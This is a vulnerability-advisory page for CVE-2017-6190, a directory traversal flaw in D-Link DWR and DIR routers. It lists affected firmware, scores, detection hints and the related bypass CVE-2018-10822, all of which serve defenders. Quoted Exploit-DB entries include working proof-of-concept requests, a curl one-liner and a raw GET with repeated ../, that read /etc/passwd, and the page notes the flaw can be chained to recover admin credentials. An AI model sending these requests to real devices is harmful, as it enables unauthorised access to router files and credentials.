CVE-2017-6190
published 2017-04-10CVE-2017-6190: Directory traversal vulnerability in the web interface on the D-Link DWR-116 device with firmware before V1.05b09 allows remote attackers to read arbitrary…
PriorityP264high7.5CVSS 3.0
AVNACLPRNUINSUCHINAN
EXPLOIT
EPSS
18.42%
97.2th percentile
Directory traversal vulnerability in the web interface on the D-Link DWR-116 device with firmware before V1.05b09 allows remote attackers to read arbitrary files via a .. (dot dot) in a "GET /uir/" request.
Affected
11 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| dlink | dir-140l_firmware | <= 1.02 | — |
| dlink | dir-640l_firmware | <= 1.02 | — |
| dlink | dwr-111_firmware | <= 1.01 | — |
| dlink | dwr-116_firmware | <= 1.06 | — |
| dlink | dwr-116_firmware | — | — |
| dlink | dwr-116_firmware | — | — |
| dlink | dwr-116_firmware | — | — |
| dlink | dwr-512_firmware | <= 2.02 | — |
| dlink | dwr-712_firmware | <= 2.02 | — |
| dlink | dwr-912_firmware | <= 2.02 | — |
| dlink | dwr-921_firmware | <= 2.02 | — |
Detection & IOCsextracted from sources · hover to see the quote
- →Detect HTTP GET requests to the /uir/ path containing directory traversal sequences (../ repeated) targeting arbitrary filesystem paths such as /etc/passwd. ↗
- →Monitor HTTP responses from D-Link DWR-116 and related routers for passwd-file content (e.g., root:/bin/ash entries) indicating successful traversal exploitation. ↗
- →Unauthenticated exploitation — no credentials required. Flag any unauthenticated requests matching /uir traversal patterns from external/WAN-side sources. ↗
- ·The original CVE-2017-6190 fix (firmware V1.05b09) was incomplete; the vulnerability persists in newer firmware versions and across additional D-Link router models (DWR-512, DWR-712, DWR-912, DWR-921, DWR-111, DIR-140L, DIR-640L) via the double-slash bypass tracked as CVE-2018-10822. ↗
- ·Affected firmware versions span multiple device lines through their latest releases at time of disclosure: DWR-116 through 1.06, DWR-512/712/912/921 through 2.02, DWR-111 through 1.01, DIR-140L/640L through 1.02. ↗
- ·The traversal vulnerability can be chained with CVE-2018-10824 to retrieve administrative credentials from the device. ↗
CVSS provenance
nvdv3.07.5HIGHCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
nvdv2.05.0MEDIUMAV:N/AC:L/Au:N/C:P/I:N/A:N
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-cc95-94rx-4f96: Directory traversal vulnerability in the web interface on the D-Link DWR-116 device with firmware before V1
ghsa_unreviewed·2022-05-17
CVE-2017-6190 [HIGH] CWE-22 GHSA-cc95-94rx-4f96: Directory traversal vulnerability in the web interface on the D-Link DWR-116 device with firmware before V1
Directory traversal vulnerability in the web interface on the D-Link DWR-116 device with firmware before V1.05b09 allows remote attackers to read arbitrary files via a .. (dot dot) in a "GET /uir/" request.
GHSA
GHSA-qr3w-mv9r-8gf8: Directory traversal vulnerability in the web interface on D-Link DWR-116 through 1
ghsa_unreviewed·2022-05-14·CVSS 7.5
CVE-2018-10822 [HIGH] CWE-22 GHSA-qr3w-mv9r-8gf8: Directory traversal vulnerability in the web interface on D-Link DWR-116 through 1
Directory traversal vulnerability in the web interface on D-Link DWR-116 through 1.06, DIR-140L through 1.02, DIR-640L through 1.02, DWR-512 through 2.02, DWR-712 through 2.02, DWR-912 through 2.02, DWR-921 through 2.02, and DWR-111 through 1.01 devices allows remote attackers to read arbitrary files via a /.. or // after "GET /uir" in an HTTP request. NOTE: this vulnerability exists because of an incorrect fix for CVE-2017-6190.
No detection rules found.
Exploit-DB
D-Link Routers - Directory Traversal
exploitdb·2018-10-12·CVSS 7.5
CVE-2018-10822 [HIGH] D-Link Routers - Directory Traversal
D-Link Routers - Directory Traversal
---
Directory Traversal
CVE: CVE-2018-10822
CVSS v3: 8.6
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Description: Directory traversal vulnerability in the web interface on D-Link routers:
DWR-116 through 1.06,
DIR-140L through 1.02,
DIR-640L through 1.02,
DWR-512 through 2.02,
DWR-712 through 2.02,
DWR-912 through 2.02,
DWR-921 through 2.02,
DWR-111 through 1.01,
and probably others with the same type of firmware
allows remote attackers to read arbitrary files via a /.. or // after “GET /uir” in an HTTP request.
NOTE: this vulnerability exists because of an incorrect fix for CVE-2017-6190.
PoC:
`$ curl http://routerip/uir//etc/passwd`
The vulnerability can be used retrieve administrative password using the other disclosed vulnerability - CVE-2018-10824.
Exploit-DB
D-Link DWR-116 / DWR-116A1 - Arbitrary File Download
exploitdb·2017-04-07·CVSS 7.5
CVE-2017-6190 [HIGH] D-Link DWR-116 / DWR-116A1 - Arbitrary File Download
D-Link DWR-116 / DWR-116A1 - Arbitrary File Download
---
# Title: D-Link DWR-116 Arbitrary File Download
# Vendor: D-Link (www.dlink.com)
# Affected model(s): DWR-116 / DWR-116A1
# Tested on: V1.01(EU), V1.00(CP)b10, V1.05(AU)
# CVE: CVE-2017-6190
# Date: 04.07.2016
# Author: Patryk Bogdan (@patryk_bogdan)
Description:
D-Link DWR-116 with firmware before V1.05b09 suffers from vulnerability
which leads to unathorized file download from device filesystem.
PoC:
HTTP Request:
GET /uir/../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 192.168.2.1
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
HTTP Response:
HTTP/1.0 200 OK
Content-Type: application/x-none
Cache-Control: max-
No writeups or analysis indexed.
2017-04-10
Published